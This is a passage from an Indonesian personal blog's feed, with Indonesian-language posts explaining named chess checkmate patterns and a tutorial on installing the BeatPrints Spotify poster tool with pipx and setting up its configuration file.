&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Damiano’s Mate&lt;a href=&quot;#damianos-mate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Damiano’s Mate&lt;/strong&gt; terjadi melalui kombinasi Menteri dan sebuah Pion atau Gajah.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss2.C4HlrdDu_Z2f67MJ.webp&quot; alt=&quot;Damiano&apos;s Mate&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;629&quot; /&gt;&lt;figcaption&gt;Damiano&apos;s Mate&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Damiano’s Mate&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Damiano’s Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Damiano’s Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Damiano’s Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Epaulette Mate&lt;a href=&quot;#epaulette-mate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Epaulette Mate&lt;/strong&gt; terjadi jika Raja lawan diapit oleh dua perwiranya di sebelah kanan dan kirinya, kemudian Menteri melakukan skakmat persis di depan Raja. Istilah “Epaulette” berasal dari Perancis yang berarti “tanda pangkat” yang dikenakan di bahu, terutama pada seragam militer. Pola skakmat ini disebut “Epaulette” karena menyerupai tanda pangkat tersebut.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss3.BOR38WWB_ZSW0QS.webp&quot; alt=&quot;Epaulette Mate Pattern&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;629&quot; /&gt;&lt;figcaption&gt;Epaulette Mate Pattern&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Epaulette Mate&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Epaulette Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Epaulette Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Epaulette Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Opera Mate&lt;a href=&quot;#opera-mate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Opera Mate&lt;/strong&gt; terjadi melalui kombinasi sebuah Gajah dan Benteng, dimana Gajah berperan untuk menjaga petak kabur Raja lawan sekaligus menjaga Benteng, sementara Benteng melakukan skakmat. Pola skakmat ini disebut sebagai “Opera Mate” karena dulu, skakmat ini dimainkan oleh &lt;a href=&quot;https://en.wikipedia.org/wiki/Opera_Game&quot; target=&quot;_blank&quot;&gt;Paul Morphy&lt;/a&gt; di Opera.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss4.sLlh1KnY_gEh9H.webp&quot; alt=&quot;Opera Mate Pattern&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;630&quot; /&gt;&lt;figcaption&gt;Opera Mate Pattern&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Opera Mate&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Opera Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Opera Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Opera Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.chess.com/terms/checkmate-chess&quot; target=&quot;_blank&quot;&gt;https://www.chess.com/terms/checkmate-chess&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-3&quot;&gt;↩&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-4&quot;&gt;↩&lt;sup&gt;4&lt;/sup&gt;&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-5&quot;&gt;↩&lt;sup&gt;5&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Checkmate Pattern: Arabian Mate, Anastasia&apos;s Mate, Back Rank Mate, Boden&apos;s Mate</title><link>https://shangdi.github.io/posts/chess/checkmate1/</link><guid isPermaLink="true">https://shangdi.github.io/posts/chess/checkmate1/</guid><description>In this article, I would like to share 4 popular checkmate patterns, which are Arabian Mate, Anastasias Mate, Back Rank Mate, and Bodens Mate.</description><pubDate>Sat, 10 May 2025 03:03:01 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;Juara dunia catur ke-3, &lt;a href=&quot;https://www.chess.com/players/jose-raul-capablanca&quot; target=&quot;_blank&quot;&gt;Jose Raul Capablanca&lt;/a&gt; pernah berkata, “&lt;em&gt;&lt;strong&gt;In order to improve your game, you must study the endgame before everything else.&lt;/strong&gt;&lt;/em&gt;”&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;What is Checkmate Patterns?&lt;a href=&quot;#what-is-checkmate-patterns&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Apa itu Pola Skakmat?&lt;/p&gt;&lt;p&gt;&lt;em&gt;Checkmate Patterns&lt;/em&gt; atau Pola Skakmat adalah model yang dapat digunakan untuk melakukan skakmat pada lawan. Setiap pola memerlukan kombinasi bidak catur tertentu, baik kombinasi dari bidak kita sebagai penyerang, maupun memanfaatkan penempatan atau posisi bidak lawan. Semakin baik kita memahami pola skakmat, kita tidak hanya akan menjadi lebih baik dalam menyerang (melakukan skakmat), tetapi juga menjadi lebih baik dalam bertahan (menghindari skakmat).&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Ada banyak pola skakmat yang dapat dipelajari (sekurang-kurangnya ada 20 pola skakmat berdasarkan situs &lt;a href=&quot;https://www.chess.com/terms/checkmate-chess&quot; target=&quot;_blank&quot;&gt;chess.com&lt;/a&gt;), tapi, biarkan saya mengulas salah empatnya di artikel ini: &lt;strong&gt;Arabian Mate&lt;/strong&gt;,  &lt;strong&gt;Anastasia’s Mate&lt;/strong&gt;, &lt;strong&gt;Back Rank Mate&lt;/strong&gt;, dan &lt;strong&gt;Boden’s Mate&lt;/strong&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Arabian Mate&lt;a href=&quot;#arabian-mate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pola &lt;strong&gt;Arabian Mate&lt;/strong&gt; tercapai melalui kombinasi sebuah Kuda dan Benteng, dimana Kuda berperan sebagai penjaga Benteng dan penghalang petak kabur Raja, sementara Benteng berperan sebagai perwira yang melakukan skakmat. Biasanya, pola skakmat ini terjadi di ujung papan.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss1.lJLhBJ7I_ZlWNoA.webp&quot; alt=&quot;Arabian Mate Pattern&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;630&quot; /&gt;&lt;figcaption&gt;Arabian Mate Pattern&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Arabian Mate&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Arabian Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Arabian Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Arabian Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Anastasia’s Mate&lt;a href=&quot;#anastasias-mate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pola &lt;strong&gt;Anastasia’s Mate&lt;/strong&gt; tercapai melalui kombinasi sebuah Kuda dan Benteng, dimana Kuda dalam pola ini berperan menjaga 2 petak kabur raja dan Benteng berperan sebagai perwira yang melakukan skakmat. Biasanya pola ini terjadi ketika Raja lawan sudah rokade.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss2.BJacmzkT_Z1zktzD.webp&quot; alt=&quot;Anastasia&apos;s Mate Pattern&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;630&quot; /&gt;&lt;figcaption&gt;Anastasia&apos;s Mate Pattern&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Anastasia’s Mate&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Anastasia’s Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Anastasia’s Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Anastasia’s Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Back Rank Mate&lt;a href=&quot;#back-rank-mate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pola &lt;strong&gt;Back Rank Mate&lt;/strong&gt; tercapai jika Raja lawan yang berada di baris paling belakang, terkena skakmat oleh Benteng atau Menteri dan tidak bisa kabur karena terhalang oleh tembok pionnya sendiri.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss3.BT0nFgXq_2v1cA2.webp&quot; alt=&quot;Back Rank Mate Pattern&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;630&quot; /&gt;&lt;figcaption&gt;Back Rank Mate Pattern&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Back Rank Mate&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Back Rank Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Back Rank Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Back Rank Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Boden’s Mate&lt;a href=&quot;#bodens-mate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pola &lt;strong&gt;Boden’s Mate&lt;/strong&gt; tercapai melalui kombinasi dua Gajah, dimana Gajah yang satu melakukan pemblokiran pada petak kabur Raja, sementara Gajah yang lain melakukan skakmat. Pola skakmat ini juga memanfaatkan kondisi Benteng dan pion lawan (atau bidak lain) yang berada di sebelah Rajanya, sehingga menghalangi Raja untuk kabur.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss4.CjXb4TbY_1y5FWE.webp&quot; alt=&quot;Boden&apos;s Mate Pattern&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;630&quot; /&gt;&lt;figcaption&gt;Boden&apos;s Mate Pattern&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Boden’s Rank Mate&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Boden’s Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Boden’s Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Boden’s Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.chess.com/terms/checkmate-chess&quot; target=&quot;_blank&quot;&gt;https://www.chess.com/terms/checkmate-chess&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-3&quot;&gt;↩&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-4&quot;&gt;↩&lt;sup&gt;4&lt;/sup&gt;&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-5&quot;&gt;↩&lt;sup&gt;5&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>BeatPrints: Your Favorite Spotify Poster</title><link>https://shangdi.github.io/posts/tech/beatprints/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/beatprints/</guid><description>A quick and stylish posters for your favorite tracks!🎷☕️ </description><pubDate>Sun, 04 May 2025 06:35:14 GMT</pubDate><content:encoded>&lt;p&gt;Beberapa hari lalu, saya menemukan salah postingan tangkapan layar desktop sebuah mesin Linux di &lt;a href=&quot;https://reddit.com/r/unixporn&quot; target=&quot;_blank&quot;&gt;r/unixporn&lt;/a&gt;. Yang menarik dari tangkapan layar tersebut adalah sebuah poster musik dari Spotify seperti ini:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;BeatPrints&quot; loading=&quot;lazy&quot; width=&quot;2280&quot; height=&quot;3480&quot; src=&quot;/_astro/ss1.BmkBLY4j_zqNn.webp&quot; /&gt;&lt;figcaption&gt;BeatPrints&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;

&lt;p&gt;Keren, bukan?&lt;/p&gt;
&lt;p&gt;Setelah mencari tahu, ternyata, poster seperti itu dibuat dengan sebuah program (gratis) bernama &lt;strong&gt;“BeatPrints”&lt;/strong&gt;. Program tersebut juga di-&lt;em&gt;maintain&lt;/em&gt; secara &lt;em&gt;open source&lt;/em&gt; di Github.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Berikut tautan ke repositorinya: &lt;a href=&quot;https://github.com/TrueMyst/BeatPrints&quot; target=&quot;_blank&quot;&gt;https://github.com/TrueMyst/BeatPrints&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Nah, di artikel ini, saya akan membahas cara membuat poster Spotify tersebut dengan BeatPrints.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Instalasi BeatPrints&lt;a href=&quot;#instalasi-beatprints&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Merujuk pada dokumentasinya, kita mula-mula perlu melakukan instalasi BeatPrints terlebih dahulu. Berhubung BeatPrints adalah aplikasi python, kita dapat meng-_install_nya melalui &lt;strong&gt;&lt;code&gt;pipx&lt;/code&gt;&lt;/strong&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;pipx&lt;/code&gt;&lt;/strong&gt; adalah &lt;em&gt;package manager&lt;/em&gt; untuk &lt;em&gt;packages&lt;/em&gt; atau aplikasi yang dibuat dengan bahasa Python.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Jadi, seperti &lt;code&gt;apt&lt;/code&gt;-nya Debian, &lt;code&gt;pacman&lt;/code&gt;-nya Archlinux, atau &lt;code&gt;brew&lt;/code&gt;-nya MacOS.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Oleh karena itu, sebelum meng-&lt;em&gt;install&lt;/em&gt; BeatPrints, kita perlu meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;pipx&lt;/code&gt; terlebih dahulu:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install pipx&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy python-pipx&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install python-pipx&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install pipx&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Sekarang, kita dapat meng-&lt;em&gt;install&lt;/em&gt; BeatPrints dengan &lt;code&gt;pipx&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pipx install BeatPrints&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Biarkan proses instalasinya berjalan hingga selesai seperti berikut:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;BeatPrints installation via pipx&quot; loading=&quot;lazy&quot; width=&quot;723&quot; height=&quot;490&quot; src=&quot;/_astro/ss2.UZHKs7qY_Z2vtrg.webp&quot; /&gt;&lt;figcaption&gt;BeatPrints installation via pipx&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;File &lt;em&gt;binary&lt;/em&gt; BeatPrints akan tersimpan di &lt;code&gt;/home/$username/.local/bin&lt;/code&gt;. Jika PATH tersebut tidak masuk dalam PATH, kita dapat memasukkannya dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pipx ensurepath&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dengan demikian, kita dapat menjalankan &lt;code&gt;beatprints&lt;/code&gt; langsung dari terminal tanpa harus ke lokasi &lt;em&gt;binary&lt;/em&gt;-nya terlebih dahulu.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Cara Pakai BeatPrints&lt;a href=&quot;#cara-pakai-beatprints&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sebelum menggunakan BeatPrints untuk mencetak poster, ada beberapa konfigurasi yang perlu kita buat terlebih dahulu.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Buat File &lt;code&gt;config.toml&lt;/code&gt;&lt;a href=&quot;#buat-file-configtoml&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pertama, kita perlu membuat file &lt;strong&gt;&lt;code&gt;config.toml&lt;/code&gt;&lt;/strong&gt; di:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Windows: &lt;code&gt;C:\Users\&amp;lt;YourUsername&amp;gt;\AppData\Roaming\&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Linux: &lt;code&gt;~/.config/BeatPrints/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Berikut adalah isi file konfigurasi tersebut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;general&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;search_limit&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;output_directory&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;path-to-save-your-posters&amp;gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;credentials&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;client_id&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;your-client-id&amp;gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;client_secret&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;your-client-secret&amp;gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;[general]&lt;/strong&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;search_limit&lt;/em&gt; adalah jumlah hasil pencarian lagu yang akan ditampilkan.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;output_directory&lt;/em&gt; adalah direktori tempat menyimpan poster yang sudah jadi.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;[credentials]&lt;/strong&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;client_id&lt;/em&gt; adalah &lt;em&gt;client_id&lt;/em&gt; yang kita dapatkan setelah membuat aplikasi di Spotify.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;client_secret&lt;/em&gt; adalah &lt;em&gt;client_secret&lt;/em&gt; yang kita peroleh setelah membuat aplikasi di Spotify.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Buat Spotify App&lt;a href=&quot;#buat-spotify-app&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk mendapatkan &lt;em&gt;client_id&lt;/em&gt; dan &lt;em&gt;client_secret&lt;/em&gt;, kita harus membuat aplikasi di Spotify agar bisa membuat Web API-nya. Berikut adalah langkah-langkahnya.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Buat akun Spotify (jika belum punya).&lt;/li&gt;
